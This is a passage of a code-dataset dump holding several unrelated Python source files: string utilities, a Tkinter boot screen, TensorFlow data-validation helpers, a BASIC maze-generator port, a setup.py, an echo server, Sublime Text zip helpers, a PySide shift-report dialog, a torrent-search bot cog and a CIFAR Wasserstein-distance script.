u\"\".join(new_iterator)\n\n for seq_type in self.SEQUENCE_TYPES:\n if isinstance(self._iterable, seq_type):\n return seq_type(new_iterator)\n\n return new_iterator\n\n @staticmethod\n def _get_reverse_upper_vowels_iterator(iterable):\n # Reversing a byte string can mess up the encoding.\n # Therefore, we force byte strings to unicode before we do\n # anything else.\n if isinstance(iterable, str):\n iterable = iterable.decode(ASSUMED_ENCODING)\n\n\n if isinstance(iterable, Sequence):\n sequence = iterable\n\n elif isinstance(iterable, Iterable):\n # Only sequences can be reversed, so we must consume the\n # iterable and build a sequence. Though, unfortunately, the\n # entire sequence will be built in memory (not much we can\n # do about that), we can at least use the cheapest generic\n # sequence available. AFAIK, that is tuple.\n sequence = tuple(iterable)\n\n else:\n raise ValueError(\"Non-iterable encountered: {!r}\".format(iterable))\n\n\n for item in reversed(sequence):\n if isinstance(item, basestring) and len(item) < 2:\n if item in CharacterSequence.VOWELS:\n yield item.upper()\n else:\n yield item.lower()\n else:\n # Recurse on nested iterables\n for subitem in CharacterSequence.\\\n _get_reverse_upper_vowels_iterator(item):\n yield subitem\n","sub_path":"wsgfct/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"451665805","text":"import random\n\nclass BootStart():\n def __init__(self, canvas, tk, readWrite, time, queue):\n self.canvas = canvas\n self.tk = tk\n self.readWrite = readWrite\n self.time = time\n self.queue = queue\n\n self.screenWidth = self.tk.winfo_screenwidth()\n self.screenHeight = self.tk.winfo_screenheight()\n\n self.logoLocation = \"../assets/img/et/logo.png\"\n\n\n self.defaultBG = \"#1a1a1a\"\n self.logo = self.readWrite.imageTk(self.logoLocation, self.screenWidth/5, self.screenWidth/5)\n\n self.logoExiting = False\n self.logoExitCount = 0\n\n self.speed = 40\n \n def start(self):\n self.canvas.configure(bg=self.defaultBG)\n self.startLogo = self.canvas.create_image(self.screenWidth/2, self.screenHeight/2, image=self.logo)\n\n while True:\n if self.logoExiting == True:\n if self.logoExitCount < (self.screenHeight/4)*3:\n self.canvas.move(self.startLogo, 0, -self.speed)\n self.logoExitCount+=self.speed\n else:\n break\n elif self.queue.empty() == False:\n if self.queue.get() == \"cleanup\":\n self.logoExiting = True\n \n \n self.tk.update()\n self.tk.update_idletasks()\n","sub_path":"versions/beta/scripts/bootScreen.py","file_name":"bootScreen.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"361240778","text":"#\n# Licensed to the Apache Software Foundation (ASF) under one or more\n# contributor license agreements. See the NOTICE file distributed with\n# this work for additional information regarding copyright ownership.\n# The ASF licenses this file to You under the Apache License, Version 2.0\n# (the \"License\"); you may not use this file except in compliance with\n# the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n\"\"\"A set of utility functions to help with retrieving data from a statistics\nprotocol buffer.\n\"\"\"\n\nimport pandas as pd\n\nfrom google.protobuf.json_format import MessageToDict\nfrom tensorflow_metadata.proto.v0 import statistics_pb2\nfrom tensorflow_data_validation import FeaturePath\nfrom tensorflow_data_validation import get_slice_stats\nfrom tensorflow_data_validation.utils.stats_util import get_feature_stats\nfrom typing import List, Optional, Text, Union, Dict, Iterable, Mapping\n\n\ndef get_num_feature_stats_as_dataframe(\n stats_list: statistics_pb2.DatasetFeatureStatisticsList,\n feature_path: FeaturePath):\n \"\"\"Returns a series of numeric statistics for a given\n feature formatted as a tidy dataframe.\"\"\"\n \n feature_stats_list = []\n for dataset in stats_list.datasets:\n if dataset.name != 'All Examples':\n feature_stats = get_feature_stats(dataset, feature_path)\n if not feature_stats.HasField('num_stats'):\n raise ValueError('This is not a numeric feature')\n stats_dict = MessageToDict(feature_stats.num_stats)\n del stats_dict['commonStats']\n del stats_dict['histograms']\n stats_dict['slice'] = dataset.name\n feature_stats_list.append(stats_dict)\n\n return pd.DataFrame(feature_stats_list)\n\n\ndef get_histograms_as_dataframe(\n stats_list: statistics_pb2.DatasetFeatureStatisticsList,\n feature_path: FeaturePath):\n \"\"\"Returns a series of histograms for a given numeric feature\n formatted as a tidy dataframe\"\"\" \n\n buckets = []\n for dataset in stats_list.datasets:\n if dataset.name != 'All Examples':\n feature_stats = get_feature_stats(dataset, feature_path)\n if not feature_stats.HasField('num_stats'):\n raise ValueError('This is not a numeric feature')\n for histogram in feature_stats.num_stats.histograms:\n if histogram.type == statistics_pb2.Histogram.HistogramType.STANDARD:\n for bucket in histogram.buckets:\n bucket_dict = MessageToDict(bucket)\n bucket_dict['slice'] = dataset.name\n buckets.append(bucket_dict)\n\n return pd.DataFrame(buckets)\n","sub_path":"notebooks/statistics_utils.py","file_name":"statistics_utils.py","file_ext":"py","file_size_in_byte":3040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"76677324","text":"import random\nimport subprocess as sp\nfrom time import sleep\nimport sys\nsys.setrecursionlimit(150000)\nw = v = s = r = c = q = h = z = None\n\ndef do_cls():\n sp.call('clear',shell=True)\n\ndef call760():\n x=random.randint(1,2)\n if x==1:\n call980()\n elif x==2:\n call1090()\n\ndef call1200():\n global w, v, s, r, c, q, h, H, V\n for j in range(1, V+1):\n print(\"I\", end='')\n for i in range(1, H+1):\n if v[i][j] < 2:\n print(\" I\", end='')\n else:\n print(\" \", end='')\n print(\" \")\n for i in range(1, H+1):\n if v[i][j]==0 or v[i][j]==2:\n print(\":--\", end='')\n else:\n print(\": \", end='')\n print(\":\")\n exit()\n\ndef call480():\n global w, v, s, r, c, q, h, H, V\n if w[r][s+1]!=0:\n call510()\n else:\n call490()\n\ndef call490():\n global w, v, s, r, c, q, h, H, V\n x = random.randint(1, 3)\n if x==1:\n call940()\n elif x==2:\n call1020()\n elif x==3:\n call1090()\n\ndef call780():\n call980()\n\ndef call410():\n global w, v, s, r, c, q, h, H, V\n x = random.randint(1,2)\n if x==1:\n call940()\n elif x==2:\n call980()\n\ndef call250():\n global w, v, s, r, c, q, h, H, V\n r+=1\n if w[r][s]==0:\n call210()\n else:\n call270()\n\ndef call350():\n global w, v, s, r, c, q, h, H, V\n if s!=V:\n call380()\n elif z==1:\n call410()\n else:\n q=1\n call390()\n\ndef call240():\n global w, v, s, r, c, q, h, H, V\n r = 1\n s+=1\n call260()\n\ndef call260():\n if w[r][s]==0:\n call210()\n else:\n call270()\n\ndef call430():\n global w, v, s, r, c, q, h, z, H, V\n if r==H or w[r+1][s]!=0:\n call530()\n elif s!=V:\n call480()\n elif z==1:\n call510()\n else:\n q=1\n call490()\n\ndef call790():\n global w, v, s, r, c, q, h, z, H, V\n if r==H:\n call880()\n elif w[r+1][s]!=0:\n call880()\n elif s!=V:\n call840()\n elif z==1:\n call870()\n else:\n q=1\n call990()\n\ndef call990():\n global w, v, s, r, c, q, h, H, V\n c+=1\n v[r][s-1]=1\n s-=1\n if c==H*V+1:\n call1200()\n else:\n q=0\n call270()\n\n\n\ndef call840():\n global w, v, s, r, c, q, h, H, V\n if w[r][s+1]!=0:\n call870()\n else:\n x=random.randint(1, 2)\n if x==1:\n call1020()\n elif x==2:\n call1090()\n\ndef call1020():\n global w, v, s, r, c, q, h, H, V\n w[r+1][s] = c\n c+=1\n if v[r][s]==0:\n call1050()\n else:\n v[r][s]=3\n call1060()\n\ndef call1050():\n global w, v, s, r, c, q, h, H, V\n v[r][s]=2\n call1060()\n\ndef call1060():\n global w, v, s, r, c, q, h, H, V\n r+=1\n if c==H*V+1:\n call1200()\n else:\n call600()\n\ndef call1150():\n global w, v, s, r, c, q, h, H, V\n z=1\n if v[r][s]==0:\n call1180()\n else:\n v[r][s]=3\n q=0\n call1190()\n\ndef call920():\n call1090()\n\ndef call1180():\n global w, v, s, r, c, q, h, H, V\n v[r][s]=1\n q=0\n r=1\n s=1\n call260()\n\ndef call570():\n global w, v, s, r, c, q, h, H, V\n x=int(random.random()*2+1)\n if x==1:\n call940()\n elif x==2:\n call1090()\n\ndef call1090():\n global w, v, s, r, c, q, h, H, V\n if q==1:\n call1150()\n else:\n w[r][s+1]=c\n c+=1\n if v[r][s]==0:\n # call1120\n v[r][s]=1\n call1130()\n else:\n v[r][s]=3\n call1130()\n\ndef call980():\n global w, v, s, r, c, q, h, H, V\n w[r][s-1]=c\n call990()\n\ndef call910():\n if w[r][s+1]!=0:\n call930()\n else:\n call1090()\n\ndef call1130():\n global w, v, s, r, c, q, h, H, V\n s = s+1\n if c==V*H+1:\n call1200()\n else:\n call270()\n\ndef call880():\n global w, v, s, r, c, q, h, H, V\n if s!=V:\n call910()\n elif z==1:\n call930()\n else:\n q=1\n call920()\n\ndef call720():\n global w, v, s, r, c, q, h, H, V\n if s!=V:\n call750()\n elif z==1:\n call780()\n else:\n q=1\n call760()\n\ndef call670():\n global w, v, s, r, c, q, h, H, V\n if w[r][s+1]!=0:\n call700()\n else:\n call680()\n\ndef call700():\n global w, v, s, r, c, q, h, H, V\n x = random.randint(1, 2)\n if x==1:\n call980()\n elif x==2:\n call1020()\n\ndef call680():\n global w, v, s, r, c, q, h, H, V\n x=random.randint(1, 3)\n if x==1:\n call980()\n elif x==2:\n call1020()\n else:\n call1090()\n\ndef call600():\n global w, v, s, r, c, q, h, H, V\n if s-1==0:\n call790()\n elif w[r][s-1]!=0:\n call790()\n elif r==H:\n call720()\n elif w[r+1][s]!=0:\n call720()\n elif s!=V:\n call670()\n elif z==1:\n call700()\n else:\n q=1\n call680()\n\n\ndef call270():\n global w, v, s, r, c, q, h, H, V\n if r-1==0:\n call600()\n elif w[r-1][s]!=0:\n call600()\n elif s-1==0:\n call430()\n elif w[r][s-1]!=0:\n call430()\n elif r==H:\n call350()\n elif w[r+1][s]!=0:\n call350()\n else:\n x = random.randint(1, 3)\n if x==1:\n call940()\n elif x==2:\n call980()\n elif x==3:\n call1020()\n\ndef call590():\n call940()\n\ndef call380():\n global w, v, s, r, c, q, h, H, V\n if w[r][s+1]!=0:\n call410()\n else:\n call390()\n\ndef call930():\n call1190()\n\ndef call750():\n global w, v, s, r, c, q, h, H, V\n if w[r][s+1]!=0:\n call780()\n else:\n x=random.randint(1, 2)\n if x==1:\n call980()\n elif x==2:\n call1090()\n\ndef call210():\n global w, v, s, r, c, q, h, H, V\n if r!=H:\n call250()\n elif s!=V:\n call240()\n else:\n r=1\n s=1\n call260()\n\ndef call1190():\n call210()\n\ndef call510():\n global w, v, s, r, c, q, h, H, V\n x = random.randint(1,2)\n if x==1:\n call940()\n elif x==2:\n call1020()\n\ndef call870():\n call1020()\n\ndef call390():\n global w, v, s, r, c, q, h, H, V\n x=random.randint(1, 3)\n if x==1:\n call940()\n elif x==2:\n call980()\n elif x==3:\n call1090()\n\ndef call560():\n global w, v, s, r, c, q, h, H, V\n if w[r][s+1]!=0:\n call590()\n else:\n call570()\n\ndef call530():\n global w, v, s, r, c, q, h, H, V\n if s!=V:\n call560()\n elif z==1:\n call590()\n else:\n q=1\n call570()\n\ndef call940():\n global w, v, s, r, c, q, h, H, V\n w[r-1][s]=c\n c=c+1\n v[r-1][s]=2\n r-=1\n\n if c==H*V+1:\n call1200()\n else:\n q=0\n call270()\n\ndef main():\n global w, v, s, r, c, q, h, H, V\n do_cls()\n print(\"AMAZING\")\n print(\"COPYRIGHT BY\")\n print(\"CREATIVE COMPUTING MORRISTOWN, NEW JERSEY\")\n sleep(1)\n H=V=1\n while True:\n # (H, V) = (input(\"WHAT ARE YOUR WIDTH AND LENGTH\")).split()\n (H,V)=(20,20)\n (H, V) = (int(H), int(V))\n if H!=1 and V!=1:\n break\n else:\n print(\"MEANINGLESS DIMENSIONS. TRY AGAIN\")\n sleep(0.5)\n print(\"PRINTOUT IS IN PROGRESS, PLEASE BE PATIENT\")\n w = [[0]*(H+1) for _ in range(V+1)]\n v = [[0]*(H+1) for _ in range(V+1)]\n\n q=z=0\n x = random.randint(1, H)\n for i in range(1, H+1):\n if i==x:\n print(\": \", end='')\n else:\n print(\":--\", end='')\n\n print(\":\")\n\n c=1\n w[x][1] = c\n c += 1\n r = x\n s=1\n call270()\n\nmain()\n\n\n","sub_path":"rewrite.py","file_name":"rewrite.py","file_ext":"py","file_size_in_byte":6657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"277327121","text":"from distutils.core import setup\n\nclassifiers = [ 'Topic :: Scientific/Engineering :: Bio-Informatics',\n 'Topic :: Security :: Cryptography',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n 'Topic :: Text Processing',\n 'Topic :: Text Processing :: General',\n 'Topic :: Text Processing :: Linguistic',\n 'Topic :: Utilities',\n ]\n\nsetup(\n name = 'pyngram',\n license = 'MIT',\n author = 'Jay Liew',\n author_email = 'twitter.com/jaysern',\n version = '1.0.1',\n url = 'http://jayliew.com',\n description = 'A simple Python n-gram calculator',\n long_description = open('README.txt').read(),\n keywords = ['ngram', 'n-gram', 'bigram', 'digram', 'trigram', 'substitution', \n 'cipher', 'crackme', 'crypto', 'caesar', 'decodeme'],\n classifiers = classifiers,\n py_modules = ['pyngram',],\n )\n","sub_path":"pypi_install_script/pyngram-1.0.1.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"101821719","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport socketserver\n\nclass MyTCPhandler(socketserver.BaseRequestHandler):\n def handle(self):\n while True:\n try:\n data=self.request.recv(1024)\n print(self.client_address)\n if not data:break\n self.request.send(data.upper())\n except Exception:\n break\n self.request.close()\n\nif __name__ == '__main__':\n server = socketserver.ThreadingTCPServer((\"127.0.0.1\",8080),MyTCPhandler)\n server.allow_reuse_address=True\n server.serve_forever()\n\n","sub_path":"python/复习/socketserver/SocketServer.py","file_name":"SocketServer.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"519003120","text":"from __future__ import annotations\n\nimport shutil\nimport zipfile\nimport os\nimport sublime\n\nfrom .log import debug\nfrom .error import Error\n\n\ndef symlink(origin: str, destination: str):\n\ttry:\n\t\tos.symlink(origin, destination)\n\n\t# try not to delete real stuff if we can avoid it\n\texcept FileExistsError:\n\t\tif os.path.islink(destination):\n\t\t\tos.remove(destination)\n\t\t\tos.symlink(origin, destination)\n\t\t\treturn\n\t\tif os.path.isdir(destination) and len(os.listdir(destination)) == 0:\n\t\t\tos.remove(destination)\n\t\t\tos.symlink(origin, destination)\n\t\t\treturn\n\t\traise\n\ndef write(path: str, data: str, overwrite_existing=False):\n\tif not overwrite_existing and os.path.exists(path):\n\t\treturn\n\n\twith open(path, 'w') as f:\n\t\tf.write(data)\n\ndef make_directory(path: str):\n\ttry:\n\t\tos.mkdir(path)\n\texcept FileExistsError: ...\n\ndef remove_file_or_dir(path: str):\n\tif not os.path.exists(path):\n\t\treturn\n\n\tif os.path.isdir(path):\n\t\tdebug(f'removing previous directory: {path}')\n\t\tshutil.rmtree(_abspath_fix(path))\n\n\telif os.path.isfile(path):\n\t\tdebug(f'removing previous file: {path}')\n\t\tos.remove(path)\n\n\telse:\n\t\traise Error('Unexpected file type')\n\n\n# Fix for long file paths on windows not being able to be extracted from a zip file\n# Fix for extracted files losing their permission flags\n# https://stackoverflow.com/questions/40419395/python-zipfile-extractall-ioerror-on-windows-when-extracting-files-from-long-pat\n# https://stackoverflow.com/questions/39296101/python-zipfile-removes-execute-permissions-from-binaries\nclass ZipFile(zipfile.ZipFile):\n\tdef _path(self, path, encoding=None):\n\t\treturn _abspath_fix(path)\n\n\tdef _extract_member(self, member, targetpath, pwd):\n\t\tif not isinstance(member, zipfile.ZipInfo):\n\t\t\tmember = self.getinfo(member)\n\n\t\ttargetpath = self._path(targetpath)\n\t\tret_val = zipfile.ZipFile._extract_member(self, member, targetpath, pwd) #type: ignore\n\n\t\tattr = member.external_attr >> 16\n\t\tif attr != 0:\n\t\t\tos.chmod(ret_val, attr)\n\t\treturn ret_val\n\ndef _abspath_fix(path):\n\tif sublime.platform() == 'windows':\n\t\tpath = os.path.abspath(path)\n\t\tif path.startswith('\\\\\\\\'):\n\t\t\tpath = '\\\\\\\\?\\\\UNC\\\\' + path[2:]\n\t\telse:\n\t\t\tpath = '\\\\\\\\?\\\\' + path\n\treturn path\n","sub_path":"modules/core/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"220958184","text":"from PySide.QtGui import *\nfrom classes_becash import *\nfrom report_change_class import Ui_Dialog\n\n\nclass DialogChange(QDialog,Ui_Dialog):\n def __init__(self,userInfo,autoreportID=\"\"):\n\n\n print(autoreportID)\n\n super(DialogChange, self).__init__()\n self.setupUi(self)\n self.setWindowIcon(QtGui.QIcon('images/circle_red.png'))\n ####DATEPIKER\n\n self.userInfo=userInfo\n self.autoreportID = autoreportID\n self.reportFrom = PyDateTimeEdit()\n self.gridLayoutDate.addWidget(self.reportFrom,0,1)\n self.reportTo = PyDateTimeEdit()\n self.gridLayoutDate.addWidget(self.reportTo,1,1)\n # self.initiemSelectulLaSchimburi()\n self.setamPerioada()\n self.previewButton.clicked.connect(self.renderHtmlCode)\n self.printButton.clicked.connect(self.preview)\n self.clearButton.clicked.connect(lambda : self.reportPreview.setHtml(''))\n self.renderHtmlCode()\n\n\n def setamPerioada(self):\n logging.info(\"-------setamPerioada-----------\")\n current_time = time.localtime()\n if self.autoreportID:\n fromPeriod = QtCore.QDateTime.fromTime_t(self.autoreportID[3])\n if self.autoreportID[4]:\n toPeriod = QtCore.QDateTime.fromTime_t(self.autoreportID[4])\n else:\n toPeriod = QtCore.QDateTime(int(time.strftime('%Y', current_time)), int(time.strftime('%m', current_time)),int(time.strftime('%d', current_time)), 23, 59, 59)\n else:\n ####\n start = query(\"SELECT att FROM shift ORDER BY id DESC LIMIT 1\")[0][0]\n if start :\n fromPeriod = QtCore.QDateTime.fromTime_t(start)\n else:\n fromPeriod = QtCore.QDateTime(int(time.strftime('%Y', current_time)), int(time.strftime('%m', current_time)), int(time.strftime('%d', current_time)), 0, 0, 0)\n toPeriod = QtCore.QDateTime.fromTime_t(time.time())\n\n\n self.reportFrom.setDateTime(fromPeriod)\n self.reportTo.setDateTime(toPeriod)\n\n # print(self.autoreportID)\n # print(fromPeriod)\n # print(toPeriod)\n\n def rendTableHead(self,curTable,curMinuts,curentSumNetto,curentSumBrutto,curentSumDiscount):\n self.htmlRow+=\"\\\n Sub total: \"+ str(curTable) +\"\\\n \"+str(curMinuts/60)+\"\\\n \"+str(round(curentSumBrutto,2))+\"\\\n \\\n \"+str(round(curentSumNetto,2))+\"\\\n \"\n\n def renderHtmlCode(self,extended=False):\n rows = query(\"SELECT o.uuid,o.table_id,o.operator,o.at,o.stoptime,o.payed,o.state,o.row_id,o.sync,o.price1,o.price2,o.price3,o.summ_brutto,o.disc_card,o.disc_percent,o.summ_disc,o.summ_netto,table_id as table_ids,t.name,c.owner,t.salon FROM orders o \\\n LEFT JOIN tables t ON t.id=o.table_id\\\n LEFT JOIN cards c ON c.id=o.disc_card\\\n WHERE `at`>\"+ str(self.reportFrom.dateTime().toTime_t()) +\" and stoptime<\"+str(self.reportTo.dateTime().toTime_t()) +\" and payed=9 and state=0 ORDER BY name\" )\n if len(rows)==0:\n self.reportPreview.setHtml(\"

No records

\")\n return \"

No records

\"\n\n self.htmlRow = ''\n curTable = rows[0][13]\n curMinuts =0\n curentSumNetto =0\n curentSumDiscount = 0\n curentSumBrutto = 0\n totalMinuts =0\n totalTotalNetto =0\n totalTotalDisc =0\n totalTotalBrutto =0\n\n for tab in rows:\n logging.info(\"Taburile:\"+str(tab))\n if not curTable == tab[13]:\n # self.rendTableHead(curTable,curMinuts,curentSumNetto,curentSumBrutto,curentSumDiscount)\n curTable=tab[13]\n totalMinuts += curMinuts\n totalTotalNetto += curentSumNetto\n totalTotalDisc += curentSumDiscount\n totalTotalBrutto += curentSumBrutto\n curMinuts =0\n curentSumNetto =0\n curentSumDiscount =0\n curentSumBrutto =0\n\n #cardul\n if tab[19]:\n tabOnwer = str(tab[19])\n else:\n tabOnwer = ''\n\n self.htmlRow+=\"\\\n \"+ str(tab[18])+ \"
\" + str(tab[7])+\"
\\\n \"+ str(time.strftime(\"%H:%M\", time.localtime(tab[3])))+ \"
\"+ str(time.strftime(\"%H:%M\", time.localtime(tab[4])))+\"
\\\n \"+ str(round(int(tab[4]-tab[3])/60))+\"
\"+ str(tab[12])+\"
\\\n \"+ tabOnwer+\"
\"+str(tab[14])+\"
\\\n \\\n \"+ str(tab[16])+\"\\\n \"\n\n\n\n\n\n curMinuts += int(tab[4]-tab[3])\n curentSumNetto += float(tab[16])\n curentSumDiscount += float(tab[15])\n curentSumBrutto += float(tab[12])\n\n\n # self.rendTableHead(curTable,curMinuts,curentSumNetto,curentSumBrutto,curentSumDiscount)\n\n totals =\"\\\n \\\n

\"+str((totalMinuts + curMinuts)/60)+\"

\\\n \\\n \\\n

\"+str(round(totalTotalNetto + curentSumNetto,2))+\"

\\\n \"\n\n htmlHead=\"\"\"\n \n\n \n \"\"\"\n htmlAntet=\"

Shift report

\\\n

From: \"+self.reportFrom.text()+\"

\\\n

To: \"+self.reportTo.text()+\"

\\\n

Printed :\"+str(time.strftime(\"%d.%m.%Y %H:%M:%S\", time.localtime(time.time())))+\"

\\\n

Operator: \"+self.userInfo[1]+\"

\"\n\n\n\n\n if extended:\n displayTable = ''\n else:\n displayTable = 'display:none'\n\n htmlBoby=\"\"\"\n \n \n \n \n \n \n \n \n \n \n \"\"\" +self.htmlRow+ totals +\"
Table
Order
ClockMins
Sum
Card
%
Total

\"\n\n\n #footerul, de desupt la raport\n #footerul, de desupt la raport\n htmlFooter = \"\"\"\n

Payments

\n \n \"\"\"\n\n #tabelul payments_types\n payments_types = query(\"SELECT SUM(p.sum) as summa, t.name \\\n FROM payments p \\\n LEFT JOIN orders o ON o.uuid = p.parent_order \\\n LEFT JOIN payments_types t ON t.id = p.payment_typ\\\n WHERE o.at>\"+ str(self.reportFrom.dateTime().toTime_t()) +\" and o.at<\"+str(self.reportTo.dateTime().toTime_t()) +\" GROUP BY t.id \")\n if len(rows) == 0:\n return\n payments_types_total = 0\n for rowww in payments_types:\n payments_types_total += rowww[0]\n htmlFooter +=\"\\\n \\\n \\\n \"\n\n htmlFooter+=\"\"\"\n \n \n \n \n

\"+rowww[1]+\"

\"+ str(rowww[0]) +\"

Total

\"\"\"+str(payments_types_total) +\"\"\"

\n\n

Tables

\n \n\n \"\"\"\n #tabelul tables\n tables_table = query(\"SELECT SUM(summ_netto) AS summ,(SELECT name FROM tables WHERE id=orders.table_id) AS tableName FROM orders WHERE `at`>\"+ str(self.reportFrom.dateTime().toTime_t()) +\" and `at`<\"+str(self.reportTo.dateTime().toTime_t()) +\" GROUP BY table_id \")\n if len(rows) == 0:\n return\n tables_total = 0\n for rowww in tables_table:\n tables_total+= rowww[0]\n htmlFooter +=\"\\\n \\\n \\\n \"\n\n htmlFooter+=\"\"\"\n \n \n \n \n

\"+rowww[1]+\"

\"+str(rowww[0])+\"

Total

\"\"\"+str(tables_total)+\"\"\"

\n\n
\n

Printed:\"\"\" + str(time.strftime(\"%d.%m.%Y %H:%M:%S\", time.localtime(time.time()))) + \"\"\"

\n \"\"\"\n\n finalHTML = htmlHead+htmlAntet+htmlBoby+htmlFooter\n\n self.reportPreview.setHtml(finalHTML)\n return finalHTML\n\n def preview(self):\n # Open preview dialog\n preview = QtGui.QPrintPreviewDialog()\n\n # If a print is requested, open print dialog\n preview.paintRequested.connect(lambda p: self.reportPreview.print_(p))\n\n preview.exec_()\n\n","sub_path":"change.py","file_name":"change.py","file_ext":"py","file_size_in_byte":10742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"430027607","text":"from bs4 import BeautifulSoup\r\nfrom redbot.core import commands\r\nfrom redbot.core.utils.menus import DEFAULT_CONTROLS, menu\r\nfrom requests_futures.sessions import FuturesSession\r\n\r\nfrom nyaa.utils import Utils as uTils\r\n\r\n\r\nclass Nyaa(commands.Cog):\r\n def __init__(self, bot):\r\n self.bot = bot\r\n\r\n '''\r\n Return a list of dicts with the results of the query.\r\n '''\r\n\r\n def search(self, keyword, **kwargs):\r\n category = kwargs.get('category', 0)\r\n subcategory = kwargs.get('subcategory', 0)\r\n filters = kwargs.get('filters', 0)\r\n page = kwargs.get('page', 0)\r\n headers = {'User-Agent': 'Mozilla/5.0 (X11; Arch Linux; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0'}\r\n session = FuturesSession()\r\n\r\n if page > 0:\r\n r = session.get(\r\n \"http://nyaa.si/?f={}&c={}_{}&q={}&p={}&o=desc&s=seeders\".format(filters, category, subcategory,\r\n keyword, page), headers=headers)\r\n else:\r\n r = session.get(\r\n \"http://nyaa.si/?f={}&c={}_{}&q={}&o=desc&s=seeders\".format(filters, category, subcategory,\r\n keyword), headers=headers)\r\n\r\n soup = BeautifulSoup(r.result().text, 'html.parser')\r\n rows = soup.select('table tr')\r\n\r\n results = {}\r\n\r\n if rows:\r\n results = uTils.parse_nyaa(rows, limit=None)\r\n\r\n return results\r\n\r\n @commands.group()\r\n @commands.guild_only()\r\n async def nyaa(self, ctx):\r\n \"\"\"Search anime.\"\"\"\r\n\r\n @nyaa.command()\r\n async def lookup(self, ctx, *, text: str):\r\n \"\"\"\r\n Returns torrents from search.\r\n User arguments - Show name\r\n \"\"\"\r\n count = \"5\"\r\n pages = []\r\n try:\r\n async with ctx.typing():\r\n result = self.search(text)\r\n msg = \"\"\r\n if len(result) < int(count):\r\n count = len(result)\r\n for res in result[0:int(count):]:\r\n msg += \"``` Name: \" + res['name'] + \"\\n\" + \\\r\n \"Category: \" + res['category'] + \"\\n\" + \\\r\n \"Url: \" + res['url'] + \"\\n\" + \\\r\n \"Torrent: \" + res['download_url'] + \"\\n\" + \\\r\n \"Size: \" + res['size'] + \" --- \" + \\\r\n \"Date: \" + res['date'] + \" --- \" + \\\r\n \"Seeders: \" + res['seeders'] + \" --- \" + \\\r\n \"Leechers: \" + res['leechers'] + \"\\n```\"\r\n pages.append(msg)\r\n msg = \"\"\r\n await menu(ctx, pages, DEFAULT_CONTROLS)\r\n else:\r\n for res in result[0:int(count):]:\r\n msg += \"```Name: \" + res['name'] + \"\\n\" + \\\r\n \"Category: \" + res['category'] + \"\\n\" + \\\r\n \"Url: \" + res['url'] + \"\\n\" + \\\r\n \"Torrent: \" + res['download_url'] + \"\\n\" + \\\r\n \"Size: \" + res['size'] + \" --- \" + \\\r\n \"Date: \" + res['date'] + \" --- \" + \\\r\n \"Seeders: \" + res['seeders'] + \" --- \" + \\\r\n \"Leechers: \" + res['leechers'] + \"\\n```\"\r\n pages.append(msg)\r\n msg = \"\"\r\n await menu(ctx, pages, DEFAULT_CONTROLS)\r\n\r\n except Exception:\r\n await ctx.send(text + \" not found.\")\r\n","sub_path":"nyaa/nyaa.py","file_name":"nyaa.py","file_ext":"py","file_size_in_byte":3595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"552177224","text":"# Copyright 2017 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Compute Wasserstein distances between different subsets of CIFAR.\n\n Note: comparing two fixed sets is a sanity check, not the target use case.\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport sys\nimport time\n\nimport tensorflow as tf\n\nfrom dataset import Dataset\nfrom wasserstein import Wasserstein\n\ntf.flags.DEFINE_string('filepattern', '/tmp/cifar10/cifar_train_class_%d.pic',\n 'Filepattern from which to read the dataset.')\ntf.flags.DEFINE_integer('batch_size', 1000, 'Batch size of generator.')\ntf.flags.DEFINE_integer('loss_steps', 50, 'Number of optimization steps.')\n\nFLAGS = tf.flags.FLAGS\n\n\ndef print_flush(string):\n sys.stdout.write(string)\n sys.stdout.flush()\n\n\ndef main(unused_argv):\n # tf.logging.set_verbosity(tf.logging.INFO)\n\n # load two copies of the dataset\n print('Loading datasets...')\n dataset = [Dataset(bs=FLAGS.batch_size, filepattern=FLAGS.filepattern,\n label=i) for i in range(10)]\n\n print('Computing Wasserstein distance(s)...')\n for i in range(10):\n for j in range(10):\n with tf.Graph().as_default():\n # compute Wasserstein distance between sets of labels i and j\n wasserstein = Wasserstein(dataset[i], dataset[j])\n loss = wasserstein.dist(C=.1, nsteps=FLAGS.loss_steps)\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n res = sess.run(loss)\n print_flush('%f ' % res)\n print_flush('\\n')\n\nif __name__ == '__main__':\n tf.app.run(main)\n","sub_path":"compute_all.py","file_name":"compute_all.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} 